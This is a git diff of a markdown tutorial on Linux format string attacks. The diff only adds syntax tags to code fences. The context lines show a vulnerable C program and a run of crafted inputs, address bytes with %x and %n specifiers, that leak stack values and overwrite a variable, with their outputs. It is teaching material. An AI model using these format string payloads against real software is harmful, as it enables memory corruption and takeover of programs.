summaryrefslogtreecommitdiff
path: root/md/writeup/linux_format_string_attack.md
diff options
context:
space:
mode:
Diffstat (limited to 'md/writeup/linux_format_string_attack.md')
-rw-r--r--md/writeup/linux_format_string_attack.md24
1 files changed, 12 insertions, 12 deletions
diff --git a/md/writeup/linux_format_string_attack.md b/md/writeup/linux_format_string_attack.md
index cbffe87..2a289e1 100644
--- a/md/writeup/linux_format_string_attack.md
+++ b/md/writeup/linux_format_string_attack.md
@@ -6,7 +6,7 @@ Format string attack is attack for C formated strings. Format string
function is prinrf() there are other functions that
support format string.C code for bad used printf():
-```
+```c
int main( int argc, char **argv )
{
static int i = 0;
@@ -26,12 +26,12 @@ then watching value if i
Run:
-```
+```sh
./e1 'Halolo'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
Halolo
@@ -39,7 +39,7 @@ Value of i=0
```
Run:
-```
+```sh
./e1 'Halolo%s'
```
@@ -51,12 +51,12 @@ Value of i=0
```
Run:
-```
+```sh
./e1 $'\x74\x96\x04\x08_%x'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
t?_0
@@ -66,13 +66,13 @@ Value of i=0
Read about %n in format string:
Run:
-```
+```sh
./e1 $'\x74\x96\x04\x08_%x_%n'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
Segmentation fault
@@ -80,12 +80,12 @@ Segmentation fault
Run:
-```
+```sh
./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%x_%n'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
t?_0_8_40_4_4_
@@ -94,12 +94,12 @@ Value of i=16
Run:
-```
+```sh
./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%.1201x_%n'
```
Output:
-```
+```text
08049674
No way it never will works because value of i=0
t?_0_8_40_4_000000000000000000000000000000000000000000000000000000000000000000000000000000